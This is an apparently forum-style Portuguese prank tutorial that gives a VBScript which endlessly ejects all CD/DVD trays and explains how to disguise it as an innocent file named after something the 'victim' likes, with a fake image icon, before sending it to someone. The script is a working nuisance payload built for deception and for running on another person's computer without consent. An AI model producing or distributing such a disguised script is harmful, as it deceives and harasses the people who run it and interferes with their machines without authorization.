Abrir i Fexa drive de CD/DVD

Abrir e Fechar O Drive de CD/DVD do amigo!!
Abrir e Fechar O Drive de CD/DVD do amigo!!
Copie o código que esta em vermelho no bloco de notas e salve como NOME.vbs
Exemplo: coloque um nome de algo que a vitima goste, carro por exemplo, BMW.vbs, procure uma imagem na internet ki tenha a ver com o nome que vc escolheu, e troce a icone da imagem!!

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Agora mande para algum Otário, e o Drive de CD/DVD vão ficar abrindo e fechando.... kkk³

Se por idiotice ou por curiosidade vc cair a propria armadilha, abra o gerenciador de tarefas ( Ctrl + Shift + Esc ) na aba Aplicativos e finalize o processo wscript.exe !